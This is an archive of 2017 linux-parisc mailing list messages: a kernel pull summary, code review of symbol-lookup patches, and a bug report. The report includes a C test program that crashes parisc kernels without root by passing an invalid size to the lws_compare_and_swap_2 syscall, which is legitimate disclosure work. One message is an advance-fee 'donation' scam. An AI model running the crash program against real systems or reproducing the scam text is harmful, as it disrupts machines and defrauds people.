  kernel with ixgbe kernel module. From Guenter Roeck.

- Fix 64-bit atomic cmpxchg kernel helper function for 32-bit kernel in LWS
  code for userspace. This unbreaks e.g. the 64-bit variant of the glibc
  function __sync_fetch_and_add() with a 32-bit parisc kernel. From John
  David Anglin, tagged for backport to v3.13+.

- Detect nonsynchronous CPU-internal cr16 cycle counters more reliable. This
  avoids stalled CPU warnings by the kernel soft lockup detector. From me,
  tagged for backport to v4.13+.

Thanks,
Helge

----------------------------------------------------------------
Guenter Roeck (1):
      parisc: Export __cmpxchg_u64 unconditionally

Helge Deller (1):
      parisc: Fix detection of nonsynchronous cr16 cycle counters

John David Anglin (1):
      parisc: Fix double-word compare and exchange in LWS code on 32-bit kernels

 arch/parisc/kernel/parisc_ksyms.c | 2 +-
 arch/parisc/kernel/syscall.S      | 6 +++---
 arch/parisc/kernel/time.c         | 5 ++++-
 3 files changed, 8 insertions(+), 5 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 6/7] symbol lookup: use new kernel and module
 dereference functions
Date: Fri, 20 Oct 2017 15:08:48 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <20171020130848.GC22070@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-7-sergey.senozhatsky@gmail.com>
 <20171004115306.GH20084@pathway.suse.cz>
 <20171019064235.GB449@jagdpanzerIV>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508504945 24553 195.159.176.226 (20 Oct 2017 13:09:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Oct 2017 13:09:05 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 20 15:08:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e5X2d-0008Hp-Aj
	for glpp-linux-parisc@m.gmane.org; Fri, 20 Oct 2017 15:08:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751751AbdJTNIx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 20 Oct 2017 09:08:53 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:43605 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751731AbdJTNIw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 20 Oct 2017 09:08:52 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id B048BAB4B;
        Fri, 20 Oct 2017 13:08:50 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171019064235.GB449@jagdpanzerIV>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27936 gmane.linux.ports.ia64:28281 gmane.linux.ports.ppc64.devel:149468 gmane.linux.kernel:2598348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27936>

On Thu 2017-10-19 15:42:35, Sergey Senozhatsky wrote:
> Sorry for the delay and thanks for taking a look.
> 
> I'll try to re-spin the patch set by the end of this week/early next
> week.
> 
> 
> On (10/04/17 13:53), Petr Mladek wrote:
> [..]
> > Note that kallsyms_lookup() and module_address_lookup() is used
> > in many other situations.
> 
> we dereference only things that can be dereferenced.
> so calling it on already dereferenced address, or address
> that does need to be dereferenced is OK.

My concern is that it changes the behavior. It will suddenly return
another information for addresses that were not dereference before.

> [..]
> > > diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
> > > index 127e7cfafa55..e2fc09ea9509 100644
> > > --- a/kernel/kallsyms.c
> > > +++ b/kernel/kallsyms.c
> > > @@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
> > >  	if (is_ksym_addr(addr)) {
> > 
> > is_ksym_addr() ignores the special .opd elf sections if
> > CONFIG_KALLSYMS_ALL is disabled. We should dereference before
> > this call.
> 
> I'll move it.
> 
> > >  		unsigned long pos;
> > >  
> > > +		addr = dereference_kernel_function_descriptor(addr);
> > >  		pos = get_symbol_pos(addr, symbolsize, offset);
> > 
> > I still wonder if doing the dereference in the widely used kallsyms
> > might cause any regression.
> 
> more testing wouldn't hurt, yes.
> 
> > Also get_symbol_pos() is called in several other helpers
> > but the dereference is done only here. It would be
> > confusing if for example kallsyms_lookup_size_offset()
> > and kallsyms_lookup() give different result.
> 
> hm, so there is no change in this regard, right? there was no
> deference before, there is no dereference now. what am I missing?

But there was no dereference in kallsyms_lookup() before
and there is dereference now.

I mean that both kallsyms_lookup_size_offset() and kallsyms_lookup()
always returned the same @symbolsize and @offset before this patch.
But they might give different results now because kallsyms_lookup()
might be newly working with dereferenced value.

It is non-consistent, unexpected behavior and might cause problems.

> I'm touching the pf/pF part in this patch set. if there are cases
> of missing dereferences anywhere else then we need to address it
> in a separate patch set, I think.

You are changing the behavior of kallsyms_lookup() and introduce
a possible inconsistency in this patchset.

It might be innocent if kallsyms are used only to display
debug messages. But there are even functional dependencies,
for example kallsyms_lookup() is called in ftrace_match_record().

> > I would feel much more comfortable if we keep the derefenrece
> > only in vsprintf.
> 
> at a price of extra module lookup, because we need `struct module *'
> for module address dereference.

It would be more code but it should not be slower. The module lookup
is just hidden in the kallsyms call now.

Another solution would be to add another helper function into kallsyms
that does the dereference and keep the current one as is.

I think that the dereference might make sense even in the kallsyms
code. But we need to make sure that it is safe and consistent.
This complicates review of this patchset.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 1/7] switch dereference_function_descriptor() to
 `unsigned long'
Date: Fri, 20 Oct 2017 15:25:44 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20171020132544.GA13783@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-2-sergey.senozhatsky@gmail.com>
 <20171004082414.GC20084@pathway.suse.cz>
 <20171019065004.GF449@jagdpanzerIV>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508505957 25947 195.159.176.226 (20 Oct 2017 13:25:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Oct 2017 13:25:57 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Oct 20 15:25:51 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e5XIy-0002Xc-T1
	for glpi-linux-ia64-2@m.gmane.org; Fri, 20 Oct 2017 15:25:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751686AbdJTNZs (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 20 Oct 2017 09:25:48 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:45250 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751521AbdJTNZr (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Fri, 20 Oct 2017 09:25:47 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 155EAAB9B;
        Fri, 20 Oct 2017 13:25:46 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171019065004.GF449@jagdpanzerIV>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28282 gmane.linux.ports.parisc:27937 gmane.linux.ports.ppc64.devel:149470 gmane.linux.kernel:2598359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28282>

On Thu 2017-10-19 15:50:04, Sergey Senozhatsky wrote:
> On (10/04/17 10:24), Petr Mladek wrote:
> [..]
> > To make it clear. All these comments are not a big deal and I do
> > not want to invalidate all the acked-by and tested-by just because
> > of them.
> >
> > But please, consider removing this change if we need to do
> > another iteration of this patchset. IMHO, there is no real win
> > and it would just pollute the git history.
> 
> I tend to rather keep it. would that cause any problems on your side?
> it saves a ton of ugly casts later in the patch set and lets us to drop
> some casts from the modules code/etc. the patch is here because otherwise
> I had to add a bunch of new casts.

OK, let's keep it.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Roy Cockrum <johnny.sandbekk@getmail.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Spende/gute Taten
Date: Mon, 23 Oct 2017 05:05:32 +0200 (CEST)
Lines: 10
Approved: news@gmane.org
Message-ID: <1889386630.4273594.1508727932419.JavaMail.zimbra@getmail.no>
Reply-To: Roy Cockrum <info@roycockrum.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1508733398 1718 195.159.176.226 (23 Oct 2017 04:36:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Oct 2017 04:36:38 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 23 06:36:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e6UTY-0004nB-AQ
	for glpp-linux-parisc@m.gmane.org; Mon, 23 Oct 2017 06:36:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750803AbdJWEgj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 23 Oct 2017 00:36:39 -0400
Original-Received: from lamora.getmail.no ([84.210.184.7]:60040 "EHLO lamora.getmail.no"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750745AbdJWEgj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 23 Oct 2017 00:36:39 -0400
X-Greylist: delayed 3186 seconds by postgrey-1.27 at vger.kernel.org; Mon, 23 Oct 2017 00:36:38 EDT
Original-Received: from localhost (localhost [127.0.0.1])
        by lamora.getmail.no (Postfix) with ESMTP id 45FBB10C510;
        Mon, 23 Oct 2017 05:05:39 +0200 (CEST)
Original-Received: from lamora.getmail.no ([127.0.0.1])
        by localhost (lamora.get.c.bitbit.net [127.0.0.1]) (amavisd-new, port 10032)
        with ESMTP id URM01YL-Pq0B; Mon, 23 Oct 2017 05:05:38 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by lamora.getmail.no (Postfix) with ESMTP id 64B9C10C4E7;
        Mon, 23 Oct 2017 05:05:37 +0200 (CEST)
DKIM-Filter: OpenDKIM Filter v2.9.2 lamora.getmail.no 64B9C10C4E7
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=getmail.no;
        s=8A9C8B4C-D727-11E2-8095-B6466E6B3FA2; t=1508727938;
        bh=+wKhMUeGGg/6j0eRj3T1smbBp27X6GCnq6Vc0nOpYUA=;
        h=Date:From:Reply-To:Message-ID:Subject:MIME-Version:Content-Type:
         Content-Transfer-Encoding;
        b=aoej3rdg6wR+FAY7SP+Dy4C/mO9JOEonqTzWepGAq7N9w4WR9QpDJHf7GkzoND22V
         5Nc8z3YQMXLySlw/OpOcAq/l90bExhuimGHnzbaj0C2YC1OaLKAXBjmpp9au48wnNR
         DH8MLt7ljBRMcJ1GWOZM9cJvTmcvi0UpoawIzdXE=
X-Virus-Scanned: amavisd-new at lamora.get.c.bitbit.net
Original-Received: from lamora.getmail.no ([127.0.0.1])
        by localhost (lamora.get.c.bitbit.net [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id lvI5qzDiYq06; Mon, 23 Oct 2017 05:05:37 +0200 (CEST)
Original-Received: from havelock.get.c.bitbit.net (havelock.get.c.bitbit.net [10.7.88.16])
        by lamora.getmail.no (Postfix) with ESMTP id 9B9AD10C485;
        Mon, 23 Oct 2017 05:05:32 +0200 (CEST)
X-Originating-IP: [10.7.88.11]
X-Mailer: Zimbra 8.0.9_GA_6191 (zclient/8.0.9_GA_6191)
Thread-Topic: Betr.: Spende/gute Taten
Thread-Index: 8DqCIg/iZL+ixrMUkh0XRO82jytd6w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27938>



Gr=C3=BC=C3=9Fe,Sie erhielten eine Spende von 1.259.000,00 EUR von Herrn Ro=
y Cockrum. Bitte kontaktieren Sie ihn bei info@roycockrum.org f=C3=BCr weit=
ere Informationen =C3=BCber die Spende.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 6/7] symbol lookup: use new kernel and module
 dereference functions
Date: Mon, 23 Oct 2017 17:38:04 +0900
Lines: 31
Approved: news@gmane.org
Message-ID: <20171023083804.GA32339@tigerII.localdomain>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-7-sergey.senozhatsky@gmail.com>
 <20171004115306.GH20084@pathway.suse.cz>
 <20171019064235.GB449@jagdpanzerIV>
 <20171020130848.GC22070@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508747904 7828 195.159.176.226 (23 Oct 2017 08:38:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Oct 2017 08:38:24 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 23 10:38:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e6YFG-0002Kh-L7
	for glpp-linux-parisc@m.gmane.org; Mon, 23 Oct 2017 10:38:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751200AbdJWIiJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 23 Oct 2017 04:38:09 -0400
Original-Received: from mail-wm0-f65.google.com ([74.125.82.65]:48394 "EHLO
        mail-wm0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750811AbdJWIiI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 23 Oct 2017 04:38:08 -0400
Original-Received: by mail-wm0-f65.google.com with SMTP id p75so7908951wmg.3;
        Mon, 23 Oct 2017 01:38:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=VnjTLgnVzLrG0aXvqyxXvaDDZ9enbFMfUuaubqmN2T8=;
        b=GYRh/E6TdlLIiJ3RTCN2TumqfIge55SyuA/ZJemdH4cHyb3VRAlzu2d4lFcLOSvEiR
         j+YKYL9lm/7STelbYdabWH2y16dakr/DOQRZjH2VgY3rM21I1MZg1JWqbE2gjcaQS35i
         Un2aIp8rC6LWTx2ox8wLt0iBqbHNwbNC7crENLOTuzbX3jflcQ+Ipnt45DCDstt3I+yD
         4Rsk5cKeK8Bi6KNw2FQFCXD717+Z/CM7SULz0lftsJy8EAWjIV0K8vXU1xsNBvFVjD+s
         MW160GH3spcXufq9rRR21qKxpOOR2dBGxcjxXHKielcVDRt6xN/5d3iz9JIiCpcWH95u
         beiQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=VnjTLgnVzLrG0aXvqyxXvaDDZ9enbFMfUuaubqmN2T8=;
        b=hhI4cSzb1te2I+Glw9o2RMdiuUX8nQ3a4cWDTbFLeSBIzpuwMHthoosi/ys0MdmujX
         EFfwmvXd6NCc71RUGJYPWISDdzBwGG8CxXL3khohTQz4vo7Uav21XoKhoAIKOPiW64RF
         WDvpPyeRxOifL5PgvHATfA0NiXdaPzjohi9xqrr6NrH60v6Lr3pR0nhLGf1l02NMyzHW
         tn98DuuZmDTxISoXtsVCBLCVk9vpLJqKJGvFr7SQcubj01eCpDJw1kSwvaNyMsXnyNwm
         ft2Bcaj2sNRWzC5ZHb/k5sGqWkh7VdpsKryI76ZmEecEDYQYbK+gPsXDboOfoZe7Iwkp
         mSCw==
X-Gm-Message-State: AMCzsaVg34ZPaCU2ifCiZiaNaG6J9fopnGN1U+z6sypsWUBZjXn6aME0
        zx7FsPfRy6o38AfdfC9t5us=
X-Google-Smtp-Source: ABhQp+Sv26koZGojgxhzYMTqKBxaVqCbFZHJiTbj2HubcuYnHIyEsC+8aqg4/7+jLQgN4MvsRQ4dwA==
X-Received: by 10.28.74.89 with SMTP id x86mr4699753wma.57.1508747886502;
        Mon, 23 Oct 2017 01:38:06 -0700 (PDT)
Original-Received: from localhost ([62.168.35.108])
        by smtp.gmail.com with ESMTPSA id 65sm3279683wrn.27.2017.10.23.01.38.05
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 23 Oct 2017 01:38:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171020130848.GC22070@pathway.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27939 gmane.linux.ports.ia64:28284 gmane.linux.ports.ppc64.devel:149504 gmane.linux.kernel:2599437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27939>

On (10/20/17 15:08), Petr Mladek wrote:
> On Thu 2017-10-19 15:42:35, Sergey Senozhatsky wrote:
> > Sorry for the delay and thanks for taking a look.
> > 
> > I'll try to re-spin the patch set by the end of this week/early next
> > week.
> > 
> > 
> > On (10/04/17 13:53), Petr Mladek wrote:
> > [..]
> > > Note that kallsyms_lookup() and module_address_lookup() is used
> > > in many other situations.
> > 
> > we dereference only things that can be dereferenced.
> > so calling it on already dereferenced address, or address
> > that does need to be dereferenced is OK.
> 
> My concern is that it changes the behavior. It will suddenly return
> another information for addresses that were not dereference before.

OK. I'd be really-really surprised to find out that anyone did
kallsyms_lookup()/module_address_lookup() on func descriptors,
but I understand your concerns. I'll try to keep everything
within vsprintf().

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Testing the lws_compare_and_swap_2 syscall
Date: Tue, 24 Oct 2017 22:03:42 +0200
Lines: 127
Approved: news@gmane.org
Message-ID: <1508874207@msgid.manchmal.in-ulm.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508875976 20981 195.159.176.226 (24 Oct 2017 20:12:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Oct 2017 20:12:56 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 24 22:12:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e75Z7-0003xS-7j
	for glpp-linux-parisc@m.gmane.org; Tue, 24 Oct 2017 22:12:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751635AbdJXUMv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 24 Oct 2017 16:12:51 -0400
Original-Received: from manchmal.in-ulm.de ([217.10.9.201]:37480 "EHLO
        manchmal.in-ulm.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751681AbdJXUMq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 24 Oct 2017 16:12:46 -0400
X-Greylist: delayed 540 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Oct 2017 16:12:45 EDT
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27940>

Hello,

looking into John's recent fix for lws_compare_and_swap_2 on 32bit
systems I got the feeling things still aren't right yet. To defeat
or prove that, also since I'd like to learn more about this ... I wrote
a small program the uses that syscall, and things break galore.

Could you please check the code below[1] for obvious usage errors? Note
the entire cmpxchg2 function was copied from gcc, and the disassembly
output provided by objdump looks correct as far as I can tell.

The program takes four numerical parameters that correspond to the
four parameters of the syscall.

To start with, using the invalid value 4 as size parameter does not
return ENOSYS as I'd expect but crashes my system[2], using both 32 and
64 bit kernel, no root privileges required. This should never happen.

Regards,
    Christoph

[1]
======================================================================
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

/* borrowed from __kernel_cmpxchg2 in libgcc/config/pa/linux-atomic.c in the gcc sources */
static inline long
cmpxchg2 (void *mem, const void *oldval, const void *newval,
                   int val_size)
{
  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
  register unsigned long lws_old asm("r25") = (unsigned long) oldval;
  register unsigned long lws_new asm("r24") = (unsigned long) newval;
  register int lws_size asm("r23") = val_size;
  register long lws_ret   asm("r28");
  register long lws_errno asm("r21");
  asm volatile (        "ble    0xb0(%%sr2, %%r0)       \n\t"
                        "ldi    %6, %%r20               \n\t"
        : "=r" (lws_ret), "=r" (lws_errno), "+r" (lws_mem),
          "+r" (lws_old), "+r" (lws_new), "+r" (lws_size)
        : "i" (2)
        : "r1", "r20", "r22", "r29", "r31", "fr4", "memory"
  );

  /* If the kernel LWS call is successful, lws_ret contains 0.  */
  if (__builtin_expect (lws_ret == 0, 1))
    return 0;

  if (__builtin_expect (lws_errno == -EFAULT || lws_errno == -ENOSYS, 0))
    __builtin_trap ();

  /* If the kernel LWS call fails with no error, return -EBUSY */
  if (__builtin_expect (!lws_errno, 0))
    return -EBUSY;

  return lws_errno;
}



int main (int argc, char **argv) {

    if (argc != 5) {
        printf ("usage <mem> <old> <new> <size>\n");
        exit (1);
    }

    uint64_t a = atoi (argv[1]);
    uint64_t b = atoi (argv[2]);
    uint64_t c = atoi (argv[3]);
    unsigned long size = atoi (argv[4]);

    printf ("a = 0x%016llx, b = 0x%016llx, c = 0x%016llx\n",
        a,
        b,
        c
    );

    unsigned long r = cmpxchg2 (&a, &b, &c, size);

    printf ("a = 0x%016llx\n", a);
    printf ("r = 0x%lx\n", r);

    return 0;
}
======================================================================


[2]
| Backtrace:
|
| Kernel Fault: Code=26 (Data memory access rights trap) regs=000000007ca8f738 (Addr=0000000000000002)
| CPU: 0 PID: 1289 Comm: a.out Not tainted 4.12.0-2-parisc64-smp #1 Debian 4.12.13-1
| task: 000000007ca8eec0 task.stack: 000000007cb68000
|
|      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
| PSW: 00001000000001101111111100001111 Not tainted
| r00-03  000000ff0806ff0f 0000000040cf2000 0000000000010987 00000000f93963c0
| r04-07  00000000f853fc70 00000000ffffffff 00000000ffffffff 00000000ffffffff
| r08-11  00000000fffffffe 00000000ffffffff 00000000fffffffd 00000000000ed000
| r12-15  00000000ffffffff 0000000000911d28 0000000000000000 0000000000117be8
| r16-19  00000000009ce448 0000000000000000 0000000000000001 00000000f9396328
